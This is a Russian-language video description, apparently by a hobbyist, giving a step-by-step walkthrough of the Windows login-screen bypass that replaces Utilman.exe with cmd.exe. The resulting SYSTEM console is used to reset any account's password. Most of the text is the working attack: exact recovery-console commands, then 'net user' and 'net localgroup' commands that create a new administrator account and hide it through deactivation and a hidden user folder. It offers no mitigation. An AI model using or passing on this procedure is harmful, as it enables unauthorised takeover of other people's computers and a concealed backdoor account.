Кратко о том, что находится на видео:
1) Вы включаете компьютер и несколько раз перезагружаете его в момент запуска Windows. (Для этого нужно нажать на специальную кнопку на стационарном ПК или около 5 секунд удерживать кнопку включения на Ноутбуке)
2) Запустится утилита автоматического восстановления. Ждём завершения. Выбираем "дополнительно" - "Поиск и устранение неисправностей" - "Дополнительно" - "Командная строка".
В открывшейся консоли вбиваем:
1)C:
2)cd windows
3)cd system32 (какая папка system в 64-x версии я не знаю)
4)ren Utilman.exe Utilmanorig.exe (название можете сделать любое)
5)copy cmd.exe Utilman.exe
6)Перезагружаем компьютер
3)Нажимаем на кнопку специальных возможностей
4)В открывшейся консоли вбиваем:
net user *имя_пользователя* *пароль*
(Имя пользователя не длинее 20 символов. Если в имени присутствуют пробелы пишем в начале и конце имени "
Например: net user "Admin the king" 1234567890)
Готово!
А теперь к особенностям данной уязвимости.
1) Такое возможно из-за того, что мы открываем консоль от имени Системы. Вбив в консоль taskmgr (Диспетчер задач) в "Подробности" вы сможете увидеть, что любой запущенный вами процесс имеет приписку о том, что он запущен пользователем "SYSTEM".
2) При попытке открыть explorer у вас появится панель Пуск, однако нормальное взаимодействие происходит только со списком открытых приложений. Открыть проводник или меню пуск вы так и не сможете. Среди открытых приложений будет Winlogon.exe, однако он никак не реагирует на попытку закрыть его или "Свернуть все окна".
3)При попытке закрыть процесс входа в систему (winlogon.exe) он откроется заново. При "завершить дерево процессов" через resmon происходит тоже самое.
4) При открытии Steam я смог войти в аккаунт и увидеть свой баланс, однако библиотека, магазин, инвентарь и т.д. просто не загружались. Дополнительные окна (настройки, музыкальный плеер) не открывались. Хотя сама музыка вполне проигрывалась. (Я не проверял Offline-мод и не пытался запустить игры через ярлыки)
P.S. При первом запуске будет английский язык. Просто войдите в аккаунт и перезагрузите Steam.
5) Undertale (пиратка) - работает! Однако, так как сохранения хранятся в папке пользователя... Да и возможность сохранятся я так и не проверил. (Однако, учитывая то, что Steam смог сохранить данные об аккаунте, скорее всего сохранения работают нормально)
6) Открыв notepad и выбрав "Открыть" или "Сохранить как" вы сможете более менее воспользоватся проводником. Файлы надо открывать через правую кнопку мыши.
7)Открытый диспетчер задач (taskmgr) сильно конфликтует с 6 особенностью.
А теперь самая главная особенность данной уязвимости!
Вбив в консоль net user *имя_пользователя* /add вы добавите нового пользователя, который имеет лишь обычные права пользователя. Однако...
net localgroup Пользователь /delete *имя_пользователя*
net localgroup Администратор /add *имя_пользователя*
В моём случае ещё был net localgroup "Debugger users" /add *имя_пользователя*
Полный список подобных групп net localgroup.
Узнать подробности группы net localgroup *название_группы* (если в названии есть пробелы, то надо писать его в ""
Например: net localgroup "Администратор Hyper-V" (и такое там есть...) /add *имя_пользователя*
В случае, если новый аккаунт не отображается после перезагрузки компьютера нужно активировать его net user *имя_пользователя* /active:yes
Чтобы спрятать аккаунт (деативировать его) net user *имя_пользователя* /active:no
Чтобы поставить пароль net user *имя_пользователя* *пароль*
Чтобы удалить аккаунт net user *имя_рользователя* /delete
Если ввести net user *имя_пользователя* * то вам предложат ввести пароль. Это ничего не даёт и скорее всего служит лишь для быстрой проверки пароля.
Подробнее можно узнать вбив net user /help
Список аккаунтов на ПК net user
Подробности аккаунта net user *имя_пользователя*
Если скрыть папку пользователя через "Свойства" и деактивировать (спрятать) аккаунт, то о новом пользователе можно будет узнать только либо через "отображение скрытых папок и файлов" или net user.
Такая уязвимость очень опасна, однако её не исправляют... Я даже не знаю - это лень или реально трудно это исправить? Или возможность открыть консоль в случае заражения ПК вирусом или при проблемах установки Windows действительно настолько важна?
